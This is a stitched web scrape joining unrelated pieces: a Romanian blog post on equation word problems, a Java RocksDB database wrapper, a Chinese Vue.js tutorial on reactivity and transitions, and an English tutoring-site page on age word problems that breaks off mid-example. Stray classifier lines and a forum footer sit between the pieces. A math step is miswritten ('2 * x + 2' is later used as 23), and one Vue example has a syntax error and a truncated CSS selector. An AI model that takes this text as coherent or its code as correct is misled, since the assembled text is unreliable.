John’s current age = J
According to the information given, John is twice as old as Mary was when John was as old as Mary is now. This means that the age difference between John and Mary remains constant.
Let’s say x represents the number of years ago when John was as old as Mary is now. At that time, John’s age was (J – x), and Mary’s age was (M – x).
We are given that Mary is currently 20 years old, so M = 20.
From the information above, we can create the following equation:
J = 2(M – x)
Now let’s substitute M with 20 in the equation:
J = 2(20 – x)
Since John’s current age is J and Mary’s current age is M, we know that J = M. Substituting J with M in the equation, we have:
M = 2(20 – x)
Since we know that M = 20, we can solve for x:
20 = 2(20 – x)
20 = 40 – 2x
2x = 40 – 20
2x = 20
x = 10
Now that we have x = 10, we can find John’s current age by substituting x back into the equation J = 2(20 – x):
J = 2(20 – 10)
J = 2(10)
J = 20
Therefore, John is currently 20 years old.
Example 3:
Alex is 5 years older than Bob, and Carol is twice as old as Alex. The sum of their ages is 66. How old is Bob?
Solution: Let’s assume Bob’s current age is x. Then Alex’s current age is x+5, and Carol’s present age is 2(x+5)=2x+10. According to the problem, the sum of their ages is 66. So we can write an equation: x+(x+5)+(2x+10)=66. Solving this equation, we get x=12.75. Therefore, Bob is currently 12.75 years old.
Example 4:
Jane is 10 years younger than John. In 5 years, Jane’s age will be half of John’s age. How old is John now?
Solution: Let’s assume John’s current age is x. Then Jane’s current age is x-10. In 5 years, John’s age will be (x+5)
Jane’s age will be (x-10)+5
Jane’s age will be x+5
According to the problem, Jane’s age will be age on 5 years will half John’s age,
x-5 = 1/2 (x+5)
2(x-5) = (x+5)
2x-10 = x+5
2x -x = 10 + 5
x = 15
John’s age will be 25 years.
Do You Stack Up Against the Best?
If you have 30 minutes, try our free diagnostics test and assess your skills.
Age Word Problems FAQS
What are age word problems?
Age word problems involve finding the age of one or more individuals at a given point in time, based on the information provided in the problem.
What are some tips for solving age word problems?
Some tips for solving age word problems include carefully reading the problem, identifying the unknowns, assigning variables to represent the unknowns, using the information provided in the problem to set up equations, solving the equations, and checking your answer.
What mathematical concepts are commonly used in age word problems?
Age word problems may involve algebraic equations, linear equations, systems of equations, and other mathematical concepts.
How do I know which equation to use for an age word problem?
The equation you use for an age word problem depends on the specific information given in the problem. It is important to carefully read and analyze the problem to determine which equation or equations will be necessary to solve it.
How do I check my answer for an age word problem?
You can check your answer for an age word problem by making sure it satisfies all the conditions given in the problem. For example, if the problem states that the sum of the ages of three people is 50, you can check your answer by adding up the ages you found for each person and making sure the total is 50.
Gloria Mathew writes on math topics for K-12. A trained writer and communicator, she makes math accessible and understandable to students at all levels. Her ability to explain complex math concepts with easy to understand examples helps students master math. LinkedIn
Affordable Tutoring Now Starts at Just $21
eTutorWorld offers affordable one-on-one live tutoring over the web for Grades K-12. We are also a leading provider of Test Prep help for Standardized Tests (SCAT, CogAT, MAP, SSAT, SAT, ACT, ISEE, and AP).
What makes eTutorWorld stand apart are: flexibility in lesson scheduling, quality of hand-picked tutors, assignment of tutors based on academic counseling and diagnostic tests of each student, and our 100% money-back guarantee.
K12 Online Tutoring Free Trial - Step 1K12 Online Tutoring Free Trial - Step 2K12 Online Tutoring Free Trial - Step 3
Whether you have never tried personalized online tutoring before or are looking for better tutors and flexibility at an affordable price point, schedule a FREE TRIAL Session with us today.
*There is no purchase obligation or credit card requirement
Save 10% on ALL Tutoring Packs with Code FRESH10
10
Days
10
Hours
10
Minutes
10
Seconds
Save 10% with Code FRESH10
10
Days
10
Hours
10
Minutes
10
Seconds
|
__label__pos
| 0.995163 |
Performance of an experience
This is for:
Developer
In this article, in this article, we will take a look at experience goals, the part goals play in evaluating the performance of your experiences, and how to use power to gauge success.
Intro
Understanding the value driven by an experience is an important validation for your personalization efforts but that value must also be considered alongside the performance of an experience against its goals.
Being able to analyze the performance of an experience against its goals, understand what importance to attach to goal metrics, and see what is likely to change over time are critical to making timely decisions as you look to maximize the value from your personalization efforts.
Getting started
First view of goals
Your Experience list page is your first port of call and a great place to get a top-level view of how each of your experiences is performing against its goals. Let’s take a look at an example:
performance
By hovering on the uplift, we can see how the experience is performing against each of the defined goals:
performance
Primary and secondary goals
Each Qubit experience will have a primary goal and secondary goals. You can add a maximum of five goals for each experience.
Performance against goals is also presented in your Stats card, shown when you open an experience. Let’s look at an example:
not-sample-size
Note
When referring specifically to the metric reported for an experience, RPV and RPC refer to revenue from the moment a visitor enters the experience until the moment they leave or the experience ends.
Custom goals
In this next example, we see that user has added a custom goal addToBag:clicked:
custom-goal
Note
Custom goals are a great option where you are looking to evaluate the success of an experience in triggering a QP event or getting the user to interact with a button or a similar UI element.
Goals and success
Performance can also be framed in terms of success and failure. Of course, what success means depends on what you are trying to achieve and goals help us by providing the criteria we will use to evaluate whether an experience has been successful or not.
Using goals and the principles of A/B testing, we can answer focused questions such as:
• Did visitors in my variation convert more than visitors in the control and is the difference significant?
• How does the RPV in my variation compare with the RPV in the control?
• Is the estimated RPC in my variation statistically significant?
• When can I consider my experience complete?
• Was my experiment successful?
We provide clear visual cues to help you evaluate your experience against each goal:
• collecting data - The power for the goal has not yet reached 70%
• winner - The power exceeds 70% and the probability of uplift exceeds 95% in one of the experiences variations
• loser - The power exceeds 70% and the probability that the control is performing better than one of more of the variations exceeds 95%
Variations v control
For each goal, we report the results of experience variations compared to the experience control. Variations are always compared to the experience control, so, for example, A v B, A v C, A v D, etc.
Warning
We do not perform direct comparisons between variations, B/C, C/D, etc.
By comparing the variation to the control, you always have a solid basis to determine which variation, if any, is having the biggest impact on each of your goals, whether that be conversions, Revenue Per Visitor, or the firing of specific QP events.
Stated simply, the variation that is most successful at achieving the primary goal is the winner.
Goals and experience completion
A goal is considered complete when it has reached statistical significance and achieved an acceptable statistical power.
Note
Remember that an experience is considered complete only when the primary goal has reached statistical significance.
Note
Qubit declares a goal to be a winner, when the probability of uplift is greater than 95% and the power is greater than 70%.
Declaring a winning experience
When your primary goal has reached an acceptable power, we will present the outcome of the experience. There are a number of possible outcomes, each shown as a New finding:
• If the probability of uplift is between 80% and 95% for the primary goal, we will report that a variation is performing better than the control.
This means we are getting more confident about the change in uplift being attributable to the experience. However, because the result is not yet statistically significant (>95%), we can’t yet declare it a winner:
not yet a winner
• We have a winner! - In short, your experiment has been a success. We are more than 95% sure that the observed change in uplift for the primary goal is a result of the experience and not some random factor.
In the following example we have observed a 2.95% uplift in conversions for those visitors that saw the experience variation:
winning finding
• There is no measurable difference between the groups - In short, we are not confident that there was any change in uplift worth mentioning or that those changes are attributable to the experience:
no observed change
Note
95% is the default winning threshold for all Qubit experiences but you have the option of changing this. See Setting custom statistical thresholds.
Using power forecasts to gauge success
What is power?
Power is the probability of a significant result given random sampling fluctuations around your actual data. In other words, it shows you the importance you can attach to a result. When power is low, there’s still a lot that could change in the experiment and it’s therefore too early to attach any significance to the result.
If we look at the following example, we would conclude that it’s far too early to attach any significance to either uplift or revenue–both could change significantly as more data is gathered:
too-early
When you hover over the power meter, we’ll provide a breakdown by goal:
power
Note
You can alter the power by editing an experience’s winning threshold. See Setting custom statistical thresholds.
Case studies
This section provides a couple of case studies illustrating how you can use power forecasts to gauge present and future success of an experiment. This allows for more colorful and more justified decisions than simply terminate or keep waiting.
Case A:
The experiment has collected many visitors and converters and a statistically significant probability of an uplift (~97%). The power forecast is increasing as we forecast into the next few weeks.
It’s looking good, it’s probably going to be a winner! Since the power forecast is increasing, we can decide whether to funnel more traffic into the likely winner by switching to a supervised 95/5 allocation.
Case B:
The experiment has a decent amount of visitors and converters, a not-yet significant probability of a downturn (~14%). Today it has a low power but it is increasing quickly as we forecast into the future.
It’s probably a loser. It might be worth ending early, but if you’re willing to wait a little bit to be sure, you can use the forecast to weigh the opportunity cost of this information alongside the raw cost of the likely-losing metric.
Case C:
The experiment has a very broad audience, is relatively new, has few visitors and converters, a ~50% probability of an uplift, and a low power (both today and far into the future).
The Bayesian prior is the main contribution to the results, and the forecasts mainly reflect this prior, rather than the data. Since the prior is conservative, the power forecast is also conservative. The experiment is still new, so we should let it run some more and collect more data.
Case D:
The experiment is very targeted, so it has few visitors and converters despite being very old, and a low power (both today and far into the future). The uplift is reported as (0.5±1)%, with a statistically insignificant ~70% probability of an uplift.
The experience is unlikely to drive a large uplift, and even if it drives a small uplift we won’t have enough traffic to prove it. We should give up on rigorously testing this experience, and push the variation of the A/B test to 100% of the small audience’s traffic, secure in the knowledge that at least the added personalization is not worse than the control.
Case E:
The experiment has many visitors and converters, a ~50% probability of an uplift, and a low power (both today and far into the future).
If the power is low today and in the future, then there is no reason to think the experiment is “moving the needle” or will do so in the future. The large amount of gathered data means, to your users, this is effectively indistinguishable from the control. It may be worth declaring the experiment futile and moving on to something else.
FAQs
What is statistical power and where has sample size gone?
We have replaced sample size with something called statistical power. It shows the likelihood that a significant result was achieved and accounts for both the volume of data collected and the observed results.
Why did you do this, is power better?
Power is an improvement on sample size. Whereas sample size uses a pre-determined effect size to determine if we have reached ‘sample’, based on the observed number of visitors, power takes into account the volume of data collected AND the observed results to give a more accurate representation of the current reliability of the test results.
How does it predict the future?
We were initially looking at a method of making it easier to "call" an experiment early, including faster stats, less precision, etc. Statistical power allows us to look at the volume of data collected and the currently observed results and make a prediction about whether it “is worth waiting for more data”.
Are my previous testing results wrong?
No, sample size is still a very effective way of determining the results of an experiment but is less effective at helping us to make decisions earlier.
Power isn’t increasing over time, what does that mean?
If the power meter isn’t increasing over time, you will not learn any more if the current results and volume of data stay the same. In this scenario, you might consider "calling" the experiment early or changing the traffic allocation to 100%.
See Using power forecasts to gauge success for more information about the decisions you can take in our illustrative case studies.
Why is it no longer necessary to set an effect size for my experience?
Since the release of Statistical Power, we no longer use the default or custom effect size to determine if we have reached 'sample based on the observed number of visitors. Power takes into account the volume of data collected AND the observed results to give a more accurate representation of the current reliability of the test results.
I can’t see power or uplift estimates in the Test Results card. Why is that?
These metrics will not display if you have selected the All traffic allocation mode. See Traffic allocation for more information.
Why might I end a pilot mode test earlier than a test with a 50/50 split?
Experiences in pilot mode are usually “risky” experiences. They are typically run in pilot mode to validate that they aren’t driving massive downturns, rather than to detect small uplifts.
Power is the probability of detecting an uplift of the measured size, assuming that the measured uplift is real (not just a statistical fluctuation). The higher the power, the more certain you can be that you haven’t “missed out” on a significant effect in your data.
If a risky experience running in pilot mode is driving a massive negative effect, the power will become large quickly, and you should end the test once it reaches whichever power you’re comfortable with.
If this same experience is not driving a massive negative effect, and instead has a negligible or positive effect, the power will grow slowly, much slower than with a 50/50 split. Once you’ve de-risked the variation you should republish the experiment to 50/50 in order to benefit from this optimal traffic allocation.
For both of these reasons, you’ll find yourself typically ending your “pilot” tests a little earlier than your 50/50 tests.
Why do split 50/50 tests run faster than supervised 95/5 tests?
Most tests require a large number of visitors in each variation to reach ~70% power. If a customer has only a 5% chance of being put in the control, or a 20% chance of being put in the variation, it will take a much longer time to complete that test. 50/50 is the fastest possible A/B test.
What QProtocol events are used to report conversions and revenue?
Although this can differ between clients and depends on the configuration of your property, typically the QProtocol events used to report conversions and revenue are identified in the following table:
Vertical Events
Ecommerce
ecBasketItemTransaction ecBasketTransactionSummary
eGaming
egBetSlipItemTransaction egBetSlipTransactionSummary
Travel
trPackageItemTransaction trPackageTransactionSummary
A few pointers
Goal attribution
Goals are attributed for two weeks after an experience is paused to cater for an experience influencing a visitor who purchases slightly later. We believe this is the most accurate way to handle the changes induced by iterations.
Goals and iterations
A visitor’s conversions and other goals are counted towards experience results only if achieved during the same iteration in which the visitor entered the experience.
Indeed the statistics must not carry conversions/goals across iterations because both the experience itself and the visitor’s allocation to control/variation may well have changed.
Multiple iterations can therefore delay the achievement of statistical significance.
|
__label__pos
| 0.975946 |
0
$\begingroup$
On the lecture notes I found online there is the following proof that I don't understand.
Let A, B be two matrices.
$$(AB)^T=B^TA^T$$
I know this identity well, but I don't get this proof.
Here it goes: Let $C=AB$
$$C_{ij}^T=C_{ji}=A_{jk}B_{ki}=A_{kj}^TB_{ik}^T$$
And last step:
$$A_{kj}^TB_{ik}^T=B_{ik}^TA_{kj}^T$$
I clearly don't get something here since it seems that by ignoring the last step it was proven that $(AB)^T=A^TB^T$.
$\endgroup$
0
$\begingroup$
The formula for the product $C=A^TB^T$ is $C_{ij}=A^T_{ik}B^T_{kj}$. Note, that the second index of $A^T_{ik}$ is equal to the first index of $B^T{kj}$. In your formula this indexes are different, by they will become equal when you change $A$ and $B$. This is why $B^TA^T$ not $A^TB^T$
$\endgroup$
Your Answer
By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy
Not the answer you're looking for? Browse other questions tagged or ask your own question.
|
__label__pos
| 0.957276 |
Pascal triangle
In addition, all entries exceeding 10 are displayed modulo Pascal triangle Leibniz and Pascal Triangles The applet below presents Pascal and Leibniz triangles modulo a specified number. Recall that k has 4 values, so we need to fill out 4 different versions and add them together.
Pascal Triangle
The entries can thus be computed sequentially left to right and top to bottom using subtraction instead of addition. A row of the Leibniz triangle starts with the reciprocal of the row number or the row number plus one depending on whether one starts counting from 1 or 0. This is left to the end user of the library.
If we design an experiment with 3 trials aka coin tosses and want to know the Pascal triangle of tossing heads, we can use the probability mass function pmf for the binomial distribution, where n is the number of trials and k is the number of successes, to find the distribution of probabilities.
FastGEO as a library is not object oriented but rather structured, this is due to the fact that many of the algorithms are tightly coupled with the data structures they munge and hence would be computationally irresponsible to also have them endure the over-heads of object orientation.
Its construction starts from the top. Probably, not too often. The Pascal Triangle is a standard fixture in recreational mathematics. In fact for complex algorithms such as triangulation and convex hulls it is recommended that an object oriented approach be taken and to use the FastGEO library as a utilities library within the solution.
Leibniz and Pascal Triangles
Let x from our formula be the first term and y be the second. In the past it has been widely acknowledged by many computational geometers that vectorized primitives are in general the most efficient and highly Pascal triangle path for computational geometry solutions.
Binomial Distribution The Binomial Distribution describes a probability distribution based on experiments that have two possible outcomes. Assuming a success probability of 0. What if applet does not run? S N-Mice Simulation Polynomial Signal Rectification Equation Evaluator Virtual Particle Flame Java Paint Brush Galois Field Arithmetic Library Description FastGEO is a library that contains a wide range of highly optimized computational geometry algorithms and routines for many different types of geometrical operations such as geometrical primitives and predicates, hull construction, triangulation, clipping, rotations and projections.
FastGEO however does not provide an environment for arbitrary precision in its calculations. A generic entry is obtained by summing up the two entries just above it. Formed by binomial coefficients it possesses an inordinate number of interesting properties see the references below.
In every row, the first and the last numbers equal 1. Also, for the Leibniz triangle whose entries are unit fractions, i. The current version of FastGEO has the following capabilities: FastGEO provides an environment where mathematical theory regarding computational geometry can be observed in the real-world using real-world data with little fuss and computational overhead.
Pascal's Triangle for expanding Binomials
The most classic example of this is tossing a coin. Every entry is the sum of the two numbers just below it. The best way to understand any formula is to work an example. This type of programming model in conjunction with the usage of the object pascal language provide a good learning base for people interested in computational geometry and its related fields.
Compute the rest of the exponent terms: Next fill in the values for k. FastGEO offers a concise, predictable, highly deterministic interface Pascal triangle geometric primitives and complex geometric routines using the Object Pascal language.
Then fill in the x and y terms as outlined below. With the Binomial Theorem you can raise any binomial to any power without the hassle of actually multiplying out the terms — making this a seriously handy tool! Simplify terms with exponents of zero and one: The Leibniz Triangle [Polya, p 88], also called the Leibniz Harmonic Triangle, is by far less known, although it relates to that of Pascal in a very simple way.the one-dimensional trinagles make the two-dimensional triangles and so on.
With this interpretation, look at the diagonals of Pascal’s triangle as zero, one, two, three, dimensional triangles, and see how the hockey-stick rule.
Pascal's Triangle is one of the most intriguing array of numbers in mathematics. Not only are there seemingly boundless patterns and relationships within the trianglular array itself, but there are also numerous applications in mathematics, probability, statistics and.
Leibniz and Pascal Triangles: The applet below presents Pascal and Leibniz triangles modulo a specified number. (In addition, all entries exceeding 10 are displayed modulo Also, for the Leibniz triangle whose entries are unit fractions, i.e. fraction with 1 in the numerator, we use their whole reciprocals.).
How many odd numbers are in the th row of Pascal’s triangle? How many entries in the th row of Pascal’s triangle are divisible by 3? The beauty of Pascal’s Triangle is that it’s so simple, yet so mathematically rich. It’s one of those novelties in math that highlight just how extraordinary this logical system we’ve.
In mathematics, Pascal's triangle is a triangular array of the binomial mint-body.com much of the Western world, it is named after the French mathematician Blaise Pascal, although other mathematicians studied it centuries before him in India, Persia (Iran), China, Germany, and Italy.
The rows of Pascal's triangle are conventionally enumerated .
Download
Pascal triangle
Rated 3/5 based on 80 review
|
__label__pos
| 0.773643 |
Minimum Coin Flips Amazon OA 2022
Page Contents
Minimum Coin Flips Amazon OA
Given the initial sequence of a coins, find the minimum number of coins that can be flipped to obtain a beautiful sequence. All head facing coins or tails facing coins sequence is also valid.
Input : THHHTH
Output : 2
Explanation : flip first and last coin to obtain the sequence.
Time Complexity : 0(N)
Space Complexity : 0(N)
Minimum Coin Flips Amazon OA
Minimum Coin Flips Amazon OA
SOLUTION
Program : Minimum Coin Flips Amazon OA Solution in Python
Lets see how can we solve this question “Minimum Coin Flips Amazon OA”.
1. find the counts of “T” to the left of each element, store in a list
2. find the counts of “H” to the right of each element, store in a list
3. Ideally, we want all “H” to the left and all “T” to the right i.e “HHHTT”. So identifying all the “H” to the right and all the “T” to the left for any index tells us the number of swaps needed across that index.
e.g S = “TTTTHHH” , say at index 3, which is “T”, there are 3 “T” to the left and 3 “H” to the right, so the total swaps is 3+ 3= 6. Repeat for each index and return the minimum
4. Find the min of the sum of both lists for each element ,that is the answer
def func(string):
Tleft = [0]* len(string)
Hright = [0]*len(string)
result = len(string)
# iterate i from i = 1 since Tleft[0] is always 0
for i in range(1, len(string)):
if string[i-1] == "T":
Tleft[i] = Tleft[i-1] + 1
else:
Tleft[i] = Tleft[i-1]
#iterate from 2nd to last element since Hright[lastindex] is always 0
for i in range(len(string)-2,-1,-1):
if string[i+1] == "H":
Hright[i] = Hright[i+1]+ 1
else :
Hright[i] = Hright[i+1]
for i in range(len(string)):
result = min(result, Tleft[i]+ Hright[i])
#Using if condition to make sure if the given string is already in correct format like "HHTTT" all Head's on right and Tail's on left.
if result!=0:
return result
return 1
#Taking input
s=input()
print(func(s))
Now as we have achieved the solution for Minimum Coin Flips Amazon OA Solution, there are few more questions similar to this logic which gives output in terms of 0’s and 1’s use the same logic approach to solve those questions.
Related: Amazon OA Online Assessment 2021 Questions and Answers
Leave a Comment
18 + 5 =
|
__label__pos
| 0.992321 |
Thursday, September 21, 10:36 CDT
How is it possible to reduce something as varied and fascinating as the entire scope of human visual art to a mind numbing lecture on focal points and balance?
How about the way every introductory computer course I've ever been exposed to seems aimed at completely obscuring everything mysterious and wonderful that first drew me to computers behind an impenetrable wall of unspeakably bland BS?
I would rant further, but I've got Intro to Computer Information Technology in 10 minutes...
|
__label__pos
| 0.999332 |
logo
search-iconinfo-icon
Vim - Basics of Vim
Modal Editing
Vim is not your regular text editor, that you open a file and start writing. Vim is a modal text editor, which means that it has various modes, each one with its purpose. When you open Vim for example you are presented with normal mode. There are a few other modes.
Mode Description
Normal for moving around a file and making edits.
Insert for inserting text.
Visual for selecting blocks of text.
Replace for replacing text
Comand line for running a command.
Keystrokes have different meanings in different modes. For example, the letter x in Insert mode will just insert a literal character ‘x’, but in Normal mode, it will delete the character under the cursor, and in Visual mode, it will delete the selection.
Mode Previous mode Key
Normal From any mode ESC
Insert From Normal mode i
Visual From Normal mode v
Visual Line From Normal mode V
Replace From Normal mode R
Command-line From Normal mode :
Note that you have to be in Normal mode to change to another mode, so if you want to go do Visual mode and you are in Insert mode, you have first go to Normal mode, then to Visual mode, this applies to any mode.
You use the key a lot when using Vim: consider remapping Caps Lock to Escape.
How to insert text
When you open Vim you are presented with Normal mode, so if you want to write something in the file, you have to change from Normal mode to Insert mode.
From Normal mode, enter Insert mode with i, now Vim behaves like any other text editor, but if you press ESC Vim returns to Normal mode.
Command-line basics
Now you are in Vim, and you want close Vim, how do we close Vim? Since the is no obvious way to do that unless we quit the terminal. To close, or save the document and many other actions in Vim you must me in Command-line mode.
From Normal mode, enter Command-line mode with : From here you can tell vim to do different things, like quit, save, opening files, and many other commands.
Command Description
:q quit (closes window)
:w saves files
:w {file name} save file as {file name}
:wq save and quit
:help {topic} open help
Note that if you type the following command :help w and :help :w it will generates diferent results, since :help w opens help for the w and :help :w movement will open opens help for the :w command.
edit-iconEdit this page
|
__label__pos
| 0.771353 |
Can Lifetime installed on OS9.1 be used to deploy applications that run on OS10?
Hi,
We are in the process of upgrading to OS10 and I would like to know if the OS version on the Lifetime server needs to be kept in sync with the version of the application servers. Can OS9.1 Lifetime be used to deploy applications that run under OS10? Or the other way around - can OS10 Lifetime be used to deploy applications that run under OS9.1?
Some more details about why we need this. Our environment looks like this: we have two dev-test-acceptance lanes (so that we can work for multiple versions in the same time) and now we want to upgrade from OS9.1 to OS10 in two phases. So we would like to have dev1->test1->acceptance1 with OS10 and dev2->test2->acceptance2 with OS9.1 for a time. Can a single Lifetime machine handle both versions?
Thanks.
Hi Coz,
Your use case is very awkward, I am almost sure that won't be possible to accomplish that with Lifetime.
Lifetime API's most probably will have breaking changes between that two versions OS9.1 and OS10.
Normally during the upgrade process, you would have a period of code freeze to avoid the scenario that you described.
Why not install a new lifetime environment to manage dev1->test1->acceptance1 with OS10 and keep the current one to manage dev2->test2->acceptance2 with OS9.1?
After all environments successfully upgrade to OS10 you can upgrade the lifetime that currently manages OS9.1 and then remove the other lifetime environment.
Hope it helps you.
Solution
In general, it's better to upgrade the Lifetime environment first. Lifetime is backward compatible so it can still promote applications between 9.1 environments and between 9.1 and 10 environments.
Solution
Thanks for your answers. In the end it worked to deploy an os10 app using lifetime 9.1.
|
__label__pos
| 0.962794 |
A discussion and primer on deadlocks
Deadlocks are a classic (aka pain-in-the-butt) problem1 in concurrent computing. As distributed systems take over the world, developers will spend many hours debugging deadlock issues and businesses will throw millions into this kind of work whether they realise it or not.
I’ve heard people advocate for lockless data structures or some form of optimistic concurrency control. I’m personally in favour of such mechanisms too, where they are appropriate. The reasoning is that such systems are faster and allow us to do away with locks (but then you need to work with rollbacks and that’s not fun at all). However, this reasoning doesn’t always apply, so pessimistic concurrency control (i.e. using locks) isn’t going anywhere. Usually, optimistic concurrency control is beneficial only when there’s low contention for certain resources or data items, which is an assumption that can break down when there’s, for example, transactions that access disproportionately popular data items, or long-lived transactions2. Many of the systems we run today are also full of locks3, so we really can’t run from them.
Given that pessimistic concurrency control remains both relevant and prevalent, we had students in CSCI1270 Database Management Systems implement fine-grained locking for B+ Trees and Hash Tables, and strict two-phase locking for data items. However, many folks ran into trouble with their databases stalling, and didn’t realise that these were caused by deadlock errors under the hood. After helping several students resolve these kinds of bugs, I wrote up a short primer on circular locking to explain the concept. Here’s a shortened and adapted version.
The primer
In large systems with many mutexes and spinlocks and other forms of concurrency control, we start to see something that we refer to as a lock hierarchy. For example, we might have the following call stack:
F():
lock A
G():
lock B
H():
lock C
(Read this as “function F locks mutex A, then recursively calls function G which locks mutex B, then recursively calls function H which locks mutex C”.)
In this case we have a lock hierarchy of A –> B –> C. In general, whenever we’re holding on to some mutex i and then grab mutex j, there is a lock hierarchy of i –> j.
Now imagine if we have some other function that makes the following calls:
J():
lock C
K():
lock A
This call trace inverts the lock hierarchy and results in a circular lock dependency. i.e.
A –> B –> C –> A
This can easily result in a deadlock:
Thread0 Thread1
---- ----
lock A
lock B
lock C
lock A
lock C
*** DEADLOCK ***
So how was this all relevant to our database course? One place where this popped up was in the transaction manager that had three classes of locks: the transaction manager lock, transaction-specific locks, and a lock manager (that handles logical locks on data items) lock. Depending on each student’s implementation of the transaction manager, a lock hierarchy was inescapably established. When that happened, students had to ensure that they didn’t invert this hierarchy in other places of the code, because doing so would cause their program to deadlock with itself and stall.
Avoiding this kind of bug is not trivial, I’ve seen very senior software engineers commit lock inversion errors in large concurrent systems, and supporting infrastructure is sometimes needed to help catch these kind of mistakes. But hopefully this primer helps you reason about this class of errors, or at least have a gut feeling for when and where you might encounter a deadlock.
So, why is this simply a ‘primer’?
The deadlock scenario described here is likely sufficient for anyone working above the operating system layer, but there are other ways that deadlocks can appear. With operating systems, we don’t just have to think in terms of concurrent threads of execution, we also have to think with portals: processes can go to sleep, and threads can be interrupted. Here’s one scary4, and very common5, example that I’ll leave to end off this post.
CPU0
----
lock A
<Interrupt>
lock A
*** DEADLOCK ***
Notes
1. For the opportunistic programmer, this should start ringing bells because it means there’s a demand for engineers who are able and willing to deal with such kinds of problems.
2. Google’s globally-distributed database Spanner implements a lock table because they have to deal with these kind of transactions.
3. See the Linux Kernel
4. Scary, because you need to be aware of all the contexts that a lock is used in. For example, if a lock is used in an interrupt, then all usage of the lock outside interrupts need to happen with interrupts disabled.
5. I fixed this kind of bug in a number of places in the Linux Kernel, and it’s a well-documented class of deadlocks, if you doubt that it actually happens.
1 thought on “A discussion and primer on deadlocks”
1. Pingback: The Role of Distributed State – Desmond Cheong
Leave a Reply
Your email address will not be published. Required fields are marked *
|
__label__pos
| 0.754756 |
阅读 637
Canvas实用库Fabric.js使用手册
简介
什么是Fabric.js?
Fabric.js是一个可以简化Canvas程序编写的库
Fabric.js为Canvas提供所缺少的对象模型, svg parser, 交互和一整套其他不可或缺的工具。由于Fabric.js为国外框架,官方API杂乱繁多,相关文档大多为英文文档,而且数量不多,所以本文旨在帮助新手在项目中快速上手Fabric.js,享受绘制Canvas的过程。
为什么要使用Fabric.js?
Canvas提供一个好的画布能力, 但是Api不够友好。绘制简单图形其实还可以, 不过做一些复杂的图形绘制, 编写一些复杂的效果,就不是那么方便了。Fabric.js就是为此而开发,它主要就是用对象的方式去编写代码。
Fabric.js能做的事情
在Canvas上创建、填充图形(包括图片、文字、规则图形和复杂路径组成图形)。 给图形填充渐变颜色。 组合图形(包括组合图形、图形文字、图片等)。 设置图形动画集用户交互。 生成JSON, SVG数据等。 生成Canvas对象自带拖拉拽功能。
起步
Vue项目中引入Fabric.js 假设您的项目中正在使用ES6和Webpack,您可以开始使用Fabric.js,如下所示: 1、在命令行中:
npm install fabric(或yarn add fabric)
复制代码
2、将其引入 .vue 文件中
import { fabric } from 'fabric'
复制代码
3、在 .vue 的单文件中的 mounted: 生命周期里开始你的Fabric.js之旅啦注:默认的fabric
npm模块产生了相当大的包,如果Fabric.js中您有很多可能不需要的包,在这种情况下,可以在 在此处 或在命令行中构建你自己的版本。
绘制图形
绘制规则图形
1、声明画布
var canvas =new fabric.Canvas('main');
复制代码
2、绘制图形
var rect = new fabric.Rect({
left:100,//距离画布左侧的距离,单位是像素
top:100,//距离画布上边的距离
fill:'red',//填充的颜色
width:30,//方形的宽度
height:30//方形的高度
});
复制代码
3、添加图形至画布
canvas.add(rect);
复制代码
其他规则图形:
绘制方形 var rect = new fabric.Rect
绘制圆形 var circle = new fabric.Circle
绘制三角形 var triangle = new fabric.Triangle
绘制不规则图形
使用路径绘图:用点和线的移动的方式进行绘图。通过对 线、曲线、弧的应用绘制非常复杂的图形。
在fabric.Path( )方法中,“M”代表“移动”命令,这个“M 00” 代表把画笔移动到(0,0)点坐标。
“L”代表“线”,“L 200 100 ”的意思是使用钢笔画一条线,从(0,0)坐标画到(200,100)坐标。 “z” 代表让图形闭合路径。
画好三角形后,我们可以用set( )方法对三角形的位置、颜色、角度、透明度等属性进行设置。
具体代码如下:
var path = new fabric.Path('M 0 0 L 200 100 L 170 200 z');
path.set({ left: 120, top: 120,fill:'red' });
canvas.add(path);
复制代码
对图片的操作 HTML插入图片
<body>
<canvas id="canvas" width='800' height='800'></canvas>
<img src="./2.png" id="img">
</body>
---------------------
var canvas = new fabric.Canvas('canvas');//声明画布
var imgElement = document.getElementById('img');//声明我们的图片
var imgInstance = new fabric.Image(imgElement,{ //设置图片位置和样子
left:100,
top:100,
width:200,
height:100,
angle:30//设置图形顺时针旋转角度
});
canvas.add(imgInstance);//加入到canvas中
复制代码
JavaScript插入图片
var canvas = new fabric.Canvas('canvas');
fabric.Image.fromURL('./2.png', function(oImg) {
oImg.scale(0.1);//图片缩小10倍
canvas.add(oImg);
});
复制代码
交互 对画布的交互
canvas.add(imgInstance);//加入到canvas中
var canvas = new fabric.Canvas('canvas');
canvas.on('mouse:down', function(options) {
console.log(options.e.clientX, options.e.clientY)
})
复制代码
注:常用监听事件如下:
mouse:down:鼠标按下时
mouse:move:鼠标移动时
mouse:up:鼠标抬起时
对画布上对象的操作
var canvas = new fabric.Canvas('canvas');
var rect = new fabric.Rect({ width: 100, height: 50, fill: 'green' });
rect.on('selected', function() {//选中监听事件
console.log('selected a rectangle');
});
var circle = new fabric.Circle({ radius: 75, fill: 'blue' });
circle.on('selected', function() {
console.log('selected a circle');
});
canvas.add(rect);
canvas.add(circle);
复制代码
注:常用监听事件如下:
after:render:画布重绘后
object:selected:对象被选中
object:moving:对象移动
object:rotating:对象被旋转
object:added:对象被加入
object:removed:对象被移除
组合
new fabric.Group():接受两个参数:要组合对象名称组成的数组、组合到一起的对象的共同属性。
var canvas = new fabric.Canvas('canvas');
var circle = new fabric.Circle({//绘制圆形
radius: 100,
fill: '#f00',
scaleY: 0.5,
originX: 'center',//调整中心点的X轴坐标
originY: 'center'//调整中心点的Y轴坐标
});
var text = new fabric.Text('Hello World', {//绘制文本
fontSize: 30,
originX: 'center',
originY: 'center'
})
//进行组合
var group = new fabric.Group([circle, text], {
left: 150,
top: 100,
angle: 10
})
canvas.add(group);
复制代码
序列化与反序列化
序列化
var canvas = new fabric.Canvas('canvas');
var rect = new fabric.Rect({
width: 100,
height: 100,
fill: 'red'
});
canvas.add(rect);
console.log(JSON.stringify(canvas.toJSON()));
复制代码
反序列化
var canvas = new fabric.Canvas('canvas');
canvas.loadFromJSON('{"objects":[{"type":"rect","left":50,"top":50,"width":20,"height":20,"fill":"green","overlayFill":null}')
  SVG
var canvas = new fabric.Canvas('canvas');
var rect = new fabric.Rect({
width: 100,
height: 100,
fill: 'red'
});
canvas.add(rect);
canvas.toSVG();
复制代码
参考文档:fabricjs.com/articles/ segmentfault.com/a/119000001…
关注下面的标签,发现更多相似文章
评论
|
__label__pos
